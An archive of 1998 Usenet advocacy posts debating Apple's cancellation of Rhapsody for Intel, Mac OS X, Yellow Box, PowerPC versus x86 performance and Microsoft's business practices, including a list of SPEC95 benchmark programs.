References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7rF0.8DH@midway.uchicago.edu>
In article <Et7rF0.8DH@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
> --
> To reply to me, please remove the _ from my email address.
>
> Carl Gustafson wrote in message ...
> >In article <stevehix-1805981951020001@ip64.safemail.com>,
> >stevehix@safemail.com (Steve Hix) wrote:
> >
> >> >Since when has Microsoft or Intel ever
> >> > scratched projects of this magnitude?
> >>
> >> NT-PPC? MS "Bob"?
>
>
> NT-PPC, who cares, PowerPC doesn't offer a significant advantage in
> performance over x86.
Wrong. It most certainly does--based on many, many side-by-side comparisons.
In fact, Byte Magazine did one quite a while ago showing that NT/PPC was
faster than NT/Intel, so you could even eliminate the impact of the OS.
>
> MS "Bob", you've got me on that one, but, it still doesn't compare to
> Copeland, OpenDoc, or CHRP.
Copeland? No such product.
Copland? Replaced by the vastly superior Rhapsody.
CHRP? Apple supported it until the end. Every other "partner" dropped it
first and Apple dropped it only when it no longer made sense.
OpenDoc? Ditto. No one was using it and there was no evidence that it
would ever catch on.
Care to try again?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 20 May 1998 08:46:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Message-ID: <joe.ragosta-2005980846240001@wil131.dol.net>
References: <joe.ragosta-1905980909400001@wil94.dol.net> <B18718E0-3215B@206.165.43.112>
In article <B18718E0-3215B@206.165.43.112>, "Lawson English"
<english@primenet.com> wrote:
> >> 68K/PowerPC System 7.x, MacOS X/Rhapsody, Windows 3.1.
> >
> >Nope. Drop the Win3.1 and 68K versions--they can't be buying much
> >software
> >by now. If they want it, keep the old version on the shelves.
> >
> >And I'm not suggesting that they do it immediately, just that they
> >announce that AppleWorks will be a YB app in the same time frame that YB
> >is available for Mac OS.
>
> Really? You think that those Quadras and other recent 68K machines don't
> have the latest version of CW on them?
Many of them don't. It's not uncommon for someone (particularly a home
user) to buy their computer preloaded with software and not to upgrade it.
Do you have any evidence on how many copies of ClarisWorks 4.0 were sold
to be run on Quadras?
>
> <chuckle>
>
> Yar, and the guys running Claris didn't know how to market products and
> keep costs down and profits up, whereas Jobs and his friends at Apple have
> a history of running profitable software companies and know better?
Straw man. I never made any such claim and it's irrelevant to the discussion.
>
> Yep, those Claris executives really ran the company into the ground,
> catering to the needs of people that never bought their product line...
>
> BTW, Joe. There's no difference in source-code between 601 NuBus Macs and
> 68K Macs on System 7.x, so if you are going to support one, you're going to
> support the other.
Really? So 601 and 68K Macs use exactly the same source code? All this
stuff about PPC native apps was my imagination?
>
> And more than 2/3 of All existing Macs are running System 7.x by now, which
> means that 2/3 of all potential MacOS "AppleWorks" customers (will there be
> an "AppleWorks Office" I wonder?) use the same code-base.
Ummm, no. You're pretending that someone using a Mac SE with System 7.1 is
just as likely to buy new software as a person who bought a new computer
last month. This is most certainly not the case.
>
> Which YOU want Apple to abandon by abandoning support for 68K Macs.
I want Apple to continue to become a strong, profitable company. That
means abandoning products which no longer have a viable market. Software
for 68K Macs falls into that category, IMHO.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: rajt@gco.REMOVETHIS.apana.org.au (Raj Thomas)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Yellow box apps on Windows
Date: Tue, 19 May 1998 12:41:17 GMT
Organization: Australian Public Access Network Association (APANA)
Message-ID: <35617d4b.4769378@news.sydney.apana.org.au>
References: <355c8968.0@206.25.228.5> <6jqhko$sil$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1905980953030001@wil115.dol.net> <3561DE79.794BDF32@ctron.com> <6jssi9$v7p$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cache-Post-Path: goliath.apana.org.au!unknown@dialup-3.gco.apana.org.au
>> Will a developer be able to develop YellowBox apps with Win98/NT
>> native tools?
>Win98/NT native as in MFC-based tools or something? A developer will be
>able to use YellowBox-based tools to develop YellowBox apps on Windows.
>Why would you want MFC-based tools?
Because otherwise, the apps are likely to look "un-Windows-like" ,
thus decreasing its appeal to Windows users ( aka sheep ).
__________________________________________________________________________
Raj Thomas...
http://gco.apana.org.au/rajt/
Some people have told me they don't think a fat penguin really embodies
the grace of Linux, which just tells me they have never seen a angry
penguin charging at them in excess of 100mph. They'd be a lot more
careful about what they say if they had.
-- Linus Torvalds
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Lets Get Real
Date: 20 May 1998 13:13:48 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6jukuc$79b@nrtphc11.bnr.ca>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <see-below-1905982220520001@209.24.240.108> <see-below-1905982223150001@209.24.240.108>
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
I think the real reason to kill Rhapsody for Intel is to keep Microsoft
from seeing Apple as a threat.
MC
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 1998 13:18:42 GMT
Organization: NETworthy
Distribution: world
Message-ID: <6jul7i$7gn@nrtphc11.bnr.ca>
References: <355EDFB5.BDCB690B@milestonerdl.com> <see-below-1905981900280001@209.24.240.108> <35623C4D.1BC5B4BA@milestonerdl.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <see-below-1905981826320001@209.24.240.108> Matthew Vaughan,
see-below@not-my-address.com writes:
> Apple has everything to gain and very little to
>lose by offering Rhapsody/Mach for Intel, and upgrading it over time.
Apple has the good will of Microsoft to lose. That is not "very little".
Matthew Cromer matthew_cromer@iname.com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Sorry That Apple Purchased NeXT?
Newsgroups: comp.sys.next.advocacy
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jna7v$poi$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1805981526190001@wil111.dol.net> <6jq3is$mhk$5@news.xmission.com> <joe.ragosta-1805981651520001@wil113.dol.net> <6jq8er$mhk$6@news.xmission.com> <6jq95g$8qf$1@news.seicom.net> <6jse4l$cqh$2@msunews.cl.msu.edu> <3561BDE5.191D7263@milestonerdl.com> <6jsk1p$r9l$1@msunews.cl.msu.edu> <3561E871.8C3D649F@milestonerdl.com> <rmcassid-2005980010580001@dialin9111.slip.uci.edu>
Message-ID: <3562e6ea.0@news.depaul.edu>
Date: 20 May 98 14:21:30 GMT
Robert Cassidy <rmcassid@uci.edu> wrote:
> I can also attest to a *lot* of local, small things that added together
> mean a lot. Apple *is* listening. It helps a lot to not be unreasonable
> and stupid about what you go after. The last 9 days of 'Apple is never
> going to support 98 and NT 5 because Steve didn't tatoo a press release on
> his ass' is an example of unreasonable and stupid.
As is 'Apple should give up <some piece of valuable intellectual property>'
and...
... make it OpenSource.
... turn control over to company X for free.
... sell it to tiny company X for a six pack and some pretzels.
All three seem unreasonable. The best alternative would be something
like the way NeXT turned IndexingKit and 3Dkit over to the MiscKit
people. They turned control over to a non-commercial entity, while
retaining NDA coverage not losing control.
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: fw:Building a business case....
Newsgroups: comp.sys.next.advocacy
References: <x0u81.355$1k5.325633@news.san.rr.com> <6ju1k0$2dg$1@msunews.cl.msu.edu>
Message-ID: <3562e9d5.0@news.depaul.edu>
Date: 20 May 98 14:33:57 GMT
spammers@ruin.the.internet.channelu.com wrote:
> Interesting. I have another thread going that tries to address this
> topic.
> Eventually we'll hit numbers. I think the most solid business case
> would
> be this.
I think the best way to establish a business case would be for
someone to start collecting credit-card orders, which would only
be charged on delivery by Apple.
This would only be worth doing if Apple sets the price beforehand,
and if Apple first specifies the number of preorders required for
them to be interested.
Apple would get a concrete indication of how many people are
interested, and immediate income when they ship.
- Jon
--
"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: No Mac OS X for Intel...?
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu>
Message-ID: <3562e762.0@news.depaul.edu>
Date: 20 May 98 14:23:30 GMT
In comp.sys.next.advocacy Robert Cassidy <rmcassid@uci.edu> wrote:
> In article <6jtt5c$q8k$1@news.cmc.net>, com.occam@leonvs wrote:
> > >From: Jordan Dea-Mattson <jordan@apple.com>
> > >Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
> > >fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
> >
> > Note the choice of words here: "PC Compatibles".
> >
> > Is it possible that Steve and Jordan have chosen their words carefully
> > so as to allow for the possibility of Mac OS X for IA-64 (i.e. Merced)?
> >
> > OK, maybe it's a stretch, or wishful thinking....
> Maybe, but _everything_ Steve says is carefully chosen words, IMO.
"Rhapsody for PC Compatibles" has been the terminology of choice
since last fall. That's what DR1 was called.
I think the intention is^H^Hwas to not exclude owners of non-Intel
PC's. That's fairly moot at this point.
--
"... and subpoenas for all." - Ken Starr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Yellow box apps on Windows
Date: 20 May 1998 14:39:30 GMT
Organization: Idiom Communications
Message-ID: <6jupv2$jie$1@news.idiom.com>
References: <355c8968.0@206.25.228.5> <6jqhko$sil$1@crib.bevc.blacksburg.va.us>
<joe.ragosta-1905980953030001@wil115.dol.net> <3561DE79.794BDF32@ctron.com>
<6jssi9$v7p$1@crib.bevc.blacksburg.va.us> <35617d4b.4769378@news.sydney.apana.org.au>
Mime-Version: 1.0
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Cc: rajt@gco.REMOVETHIS.apana.org.au
Raj Thomas may or may not have said:
-> >> Will a developer be able to develop YellowBox apps with Win98/NT
-> >> native tools?
->
-> >Win98/NT native as in MFC-based tools or something? A developer will be
-> >able to use YellowBox-based tools to develop YellowBox apps on Windows.
-> >Why would you want MFC-based tools?
->
-> Because otherwise, the apps are likely to look "un-Windows-like" ,
-> thus decreasing its appeal to Windows users ( aka sheep ).
OpenStep apps on Windoze follow the Windoze Look and Feel. They even use the
brain-dead Windows open/save panels, which is a pity.
As Eric Scott once put it: "If running OpenStep on Windoze is like putting
lipstick on a pig, then isn't following the native look and feel like putting
*transparent* lipstick on the pig?"
Seriously though, NeXT succeeded where XVT, Visix Galaxy, and the rest of
that crowd failed. They do cross-platform with native GUIs.
-jcr
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 1998 14:44:38 GMT
Organization: MagicNet, Inc.
Distribution: world
Message-ID: <cirby-2005981044210001@pm51-42.magicnet.net>
References: <355EDFB5.BDCB690B@milestonerdl.com> <see-below-1905981900280001@209.24.240.108> <35623C4D.1BC5B4BA@milestonerdl.com> <6jul7i$7gn@nrtphc11.bnr.ca>
Matthew Cromer <matthew_cromer@iname.com> wrote:
> Apple has the good will of Microsoft to lose. That is not "very little".
Yep. That there "Microsoft Good Will" is certainly worth a whole bunch,
you betcha.
Like the "Good Will" they had toward Stac. Or Netscape.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 09:54:49 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ju999$7vp$3@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de>
<B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net>
<maury-1805981747350001@ts32-15.tor.istar.ca> <tbrown-1805982347260001@mv130.axom.com>
<6jrnc2$4rf$3@ns3.vrx.net> <tbrown-1905982250120001@mv163.axom.com>
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Cc: tbrown@netset.com
In <tbrown-1905982250120001@mv163.axom.com> Ted Brown claimed:
> Well, Apple already has an OS 8 Finder, why won't it work?
It will, but it won't be tasked or protected under the new OS. Putting the
only program that runs _all_ the time into the unprotected area is _bad_.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 09:51:44 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ju93g$7vp$2@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6jk3qs$a4a@ragnarok.en.uunet.de>
<B0p71.134$Jb1.1203626@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net>
<maury-1805981747350001@ts32-15.tor.istar.ca> <see-below-1805981651140001@209.24.240.36>
<6jrme4$4rf$1@ns3.vrx.net> <see-below-1905981944230001@209.24.240.108>
<joe.ragosta-2005980835190001@wil131.dol.net>
Mime-Version: 1.0
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2005980835190001@wil131.dol.net> Joe Ragosta claimed:
> I _don't_ buy the story about driver support.
Neither do I.
> 1. They're releasing Rhapsody/Intel v. 1.0. So, there will be at least a
> minimum of drivers already written. Dropping Rhaptel after you've done the
> work doesn't make sense.
This part actually makes sense though, because it's currently all DriverKit
based for the old kernel, which would have to be re-written for I/OKit on the
new kernel. However I don't see that as a "big" issue, just a work.
> 3. The I/O Kit is supposed to be so great that driver development is a
> piece of cake.
Yup.
> 4. I'd be willing to settle for a limited subset. Pick the 20 most popular
> motherboards, 20 most popular video cards, and so on. Send out a Rhapsody
> compatibility list like the WinNT compatibility list.
Or "simply" select the Win98 standard and don't support anything on ISA
other than modems and sound cards.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 20 May 1998 10:03:09 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ju9ot$7vp$4@ns3.vrx.net>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112>
<6js47n$h02$4@ns3.vrx.net> <rex-1905981844580001@192.168.0.3>
<6jsivk$rs9$2@ns3.vrx.net> <rex-1905982113470001@192.168.0.3>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rex@smallandmighty.com
In <rex-1905982113470001@192.168.0.3> Eric King claimed:
> Maury, why don't you go pick up a copy of Foley & van Dam's Computer
> Graphics: Principles and Practice and give it a read. It will probably end
> all of this blathering.
I have it, and the entire series of Graphics Gems and Computer Graphics
Formats too. It says nothing about this and the book was written in an era
when the above was true.
> Did it ever occur to you that there are reasons why it's less busy???
Duh, because less people us it?
> Certain things have to be done in integer math if you want them to be
> remotely efficient.
No, because the int side has the logic.
> Part of the reason why G3s run so fast is that they
> have very finely-tuned integer units.
And part is because they have really fast fpu's, a good MMU and a lot of
cache. This is not a point.
> This statement doesn't make much sense. Please clarify. (I'm hoping
> you're not as clueless as this statement makes you appear to be...)
You don't understand a clear statement and I'm the clueless one?
> Maury, the screen is *always* in integer coordinates.
Duh, now who's making clueless posts?
Maury
From: Koo <amind@pacific.net.sg>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Wed, 20 May 1998 22:34:56 +0800
Organization: Subscriber of Pacific Internet, Singapore
Message-ID: <3562EA10.3ABFE6B5@pacific.net.sg>
References: <6jtt5c$q8k$1@news.cmc.net>
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Leon von Stauber wrote:
> Maybe this has been mentioned already, but I'd like to examine a
> couple of statements we've received lately.
>
> > > Stepwise is the more reliable source. To wit, Scott posed the
> question to
> > > Steve Jobs himself. Over the weekend, Jobs sent this response:
> > >
> > > ] Rhapsody 1.0 is the last version of Rhapsody for any platform.
> > > ] All efforts are going into Mac OS X. Apple has not commited
> > > ] to shipping Mac OS X on any platform other than PPC.
>
Does that mean that Rhapsody 1.0 for PPC is also going to be over?
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 09:39:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6ju8d3$7vp$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
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Cc: mjpeck@nstar.net
In <35621EF1.9DEDCD98@nstar.net> "Michael J. Peck" claimed:
> To do that Rhapsody needs to spread its tentacles and start pulling
> Microsofts EVERYWHERE. Quicktime EVERYWHERE. Yellow Box EVERYWHERE.
>
> The opposite (EVERYTHING on Rhapsody) is ridiculous. It's not going to
> happen.
Hmmm, that's an interesting point.
Maury
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 20 May 1998 07:38:02 -0700
Organization: UC Irvine
Message-ID: <atlauren-2005980738030001@dialin33463.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <atlauren-1905982222320001@dialin33464.slip.uci.edu> <6jud9l$go1$2@ligarius.ultra.net>
_3;X4o1Yg^$]=Oc\u
In article <6jud9l$go1$2@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
>And there's precedent for including a web browser with the system, as well.
>Most operating systems include one now (usually Netscape Navigator).
However, as you yourself note, only Microsoft is able to bundle *their
own* browser, using anti-competitive tactics to boot.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 20 May 1998 11:53:58 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6juuam$1mv$1@crib.bevc.blacksburg.va.us>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsm6t$bjf$1@geraldo.cc.utexas.edu> <6jsrm1$v57$1@crib.bevc.blacksburg.va.us> <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>, mbkennel <replace this with '@'> yahoo.com wrote:
> On 19 May 1998 16:56:33 -0400, Nathan Urban
> :Unlike MMX, Altivec executes instructions in an _independent_
> :instruction pipeline with its own register set and such (though it shares
> :main memory with the rest of the CPU). It's also SIMD.
> Sounds good, inside one task.
> On the other hand, does this really bust up the context switch performance?
Why would it?
Date: Wed, 20 May 1998 11:54:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Message-ID: <joe.ragosta-2005981154020001@wil132.dol.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net>
In article <6jslbi$i4k1@odie.mcleod.net>, "Michelle L. Buck"
<buck.erik@mcleod.net> wrote:
> I agree with you. Apple does not. Apple sites the "1 billion" dollars IBM
> spent on drivers for OS/2 as something they do not want to suffer. Apple
This is bogus for the reasons I've cited earlier.
> clearly believes that they can not afford to provide the Apple experience to
> Intel customers. Ironically, if not for the assumed driver costs, Rhapsody
> Intel could be very profitable. The margins on Rhapsody Intel could be much
> higher than hardware margins. Assumed driver costs and LET'S BE HONEST the
> absence of Microsoft Office for Rhapsody Intel have doomed the product.
>
> Apple is right to a large extent. No computer without Microsoft office is a
> mass market contender today. The standard used to be the ability to read
> and write DOS floppies. Now the minimum standard is an up to date copy of
> Microsoft Word. .doc files are the industry accepted interchange format for
> formatted text!
Really? What about all the SGI computers in use? Or all the MIPS
workstations? Or the 10 million Linux users? Apple claimed (on Rhapsody
Developers' mailing list) that they need $100 million in revenues to
justify Rhapsody/Intel. That's 1 million customers at $100 each. Given the
number of disenfranchised Windows users, the number of Mac users forced to
buy a Wintel box, the number of Linux users, and the number of users of
other Unices, that is not outside the realm of possibility.
>
> It must be nice to be Microsoft. Just change the .doc format a little every
> few years and keep reaping the billions from REQUIRED updates to remain
> current.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 11:57:25 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6juuh5$1nn$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <tbrown-1805982347260001@mv130.axom.com> <6jrnc2$4rf$3@ns3.vrx.net> <6ju6p0$upi$1@bartlet.df.lth.se>
In article <6ju6p0$upi$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se (Christian Brunschen) wrote:
> Under MacOS X, Apple can then use the 'MacOS X Finder', which is an
> updated and improved version of the Rhapsody Workspace manager.
Is it? I've seen nothing that indicates whether the OS X Finder will
be Yellow or Carbon.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 20 May 1998 12:00:59 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6juunr$1od$1@crib.bevc.blacksburg.va.us>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
In article <3562EA10.3ABFE6B5@pacific.net.sg>, Koo <amind@pacific.net.sg> wrote:
> > > > ] Rhapsody 1.0 is the last version of Rhapsody for any platform.
> Does that mean that Rhapsody 1.0 for PPC is also going to be over?
Uh, that's what "Rhapsody 1.0 is the last version of Rhapsody for any
platform" would tend to imply, wouldn't it?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: future of mac programming
Date: 20 May 1998 12:04:40 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6juuuo$1p8$1@crib.bevc.blacksburg.va.us>
References: <6j7me9$so3$1@newsfep4.sprintmail.com> <spam_panda-1905982118030001@lexcas36.mis.net> <6jti21$6a$1@crib.bevc.blacksburg.va.us> <6jue1g$sbr@nntp02.primenet.com>
In article <6jue1g$sbr@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
> Nathan Urban <nurban@vt.edu> wrote:
> : > Best advice: Ditch the MacOS entirely. Get MkLinux, 68K Linux, or NetBSD.
> : > Help develop an operating system. Join the Free Software Revolution!
> : Gee, I just thought I wanted to use the system that lets me get my work
> : done the easiest. When did I have to join a revolution to do that? I'm
> : not interested in developing an operating system anyway. I'm interested
> : in writing tools for the operating system I like, which is not Linux.
> For the day job you should do whatever the customer wants (usually Visual
> C++ or UNIX/C, but sometimes Yellow Box).
The customer usually doesn't care at all what _language_ or _API_ you
use as long as it looks right and gets the job done. And Yellow Box is
usually the most conducive solution to completing the app quickly.
Of course, what _platform_ it runs on does matter.
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <Et9J35.Lpp@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et81xu.25G@midway.uchica
Date: Wed, 20 May 1998 15:58:37 GMT
That line's starting to get a little old. I use applications that perform
several of the same tasks that the SPEC benchmarks programs do. The SPEC
benchmark programs are listed below.
099.go
Artificial intelligence; plays the game of "Go"
124.m88ksim
Moto 88K Chip simulator; runs test program
126.gcc
New version of GCC; builds SPARC code
129.compress
Compresses and decompresses file in memory
130.li
LISP interpreter
132.ijpeg
Graphic compression and decompression
134.perl
Manipulates strings (anagrams) and prime numbers in Perl
147.vortex
A database program
CFP95 contains 10 applications written in FORTRAN that are used as
benchmarks:
101.tomcatv
A mesh-generation program
102.swim
Shallow water model with 513 x 513 grid
103.su2cor
Quantum physics; Monte Carlo simulation
104.hydro2d
Astrophysics; Hydrodynamical Navier Stokes equations
107.mgrid
Multi-grid solver in 3D potential field
110.applu
Parabolic/elliptic partial differential equations
125.turb3d
Simulates isotropic, homogeneous turbulence in a cube
141.apsi
Solves problems regarding temperature, wind, velocity and distribution of
pollutants
145.fpppp
Quantum chemistry
146.wave5
Plasma physics; Electromagnetic particle simulation
Jon
--
To reply to me, please remove the _ from my email address.
John Christie <*johnnyc*@or.psychology.dal.ca> wrote in message
<*johnnyc*-1905982041240001@jchristie.halifaxcable.dal.ca>...
>In article <Et81xu.25G@midway.uchicago.edu>, "Jonathan Eric Miller"
><_jemiller@midway.uchicago.edu> wrote:
>
>> At what, Photoshop? I don't use Photoshop, so, that means nothing to me.
The
>> SPEC benchmarks are more representative of the work that I do and the
>> PowerPC isn't faster at those. If I was going to use a non-x86 CPU I
would
>> go with one that offers a real advantage in performance such as an Alpha.
>
> Apparently, what you do is run SPEC benchmarks all day. Does that pay
well?
>
>--
>You aren't free if you CAN choose - only if you DO choose.
>All you are is the decisions you make.
>Remove "*" and ohnny (i.e. jc@) to reply via email
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 20 May 1998 12:43:36 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jv17o$1uf$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7vDG.EKB@midway.uchica <Et9IqF.LGD@midway.uchicago.edu>
In article <Et9IqF.LGD@midway.uchicago.edu>, "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu> wrote:
> Plus, with Apple changing the APIs around every other week,
How exactly is Apple changing the APIs around every other week?
They're _adding_ things to the MacOS and Yellow APIs, but that doesn't
break anything you already know. They're creating a _new_ API, Carbon,
which is more or less a _subset_ of the MacOS API.
If you're developing a new app, just pay attention to Yellow or Carbon
and you'll be fine.
> What is the API now?? They've changed it around so much I don't even no
> anymore.
They haven't changed around anything.
> And is the API consistent across Mac OS and Rhapsody?
The MacOS API doesn't exist natively in Rhapsody, and the Rhapsody API
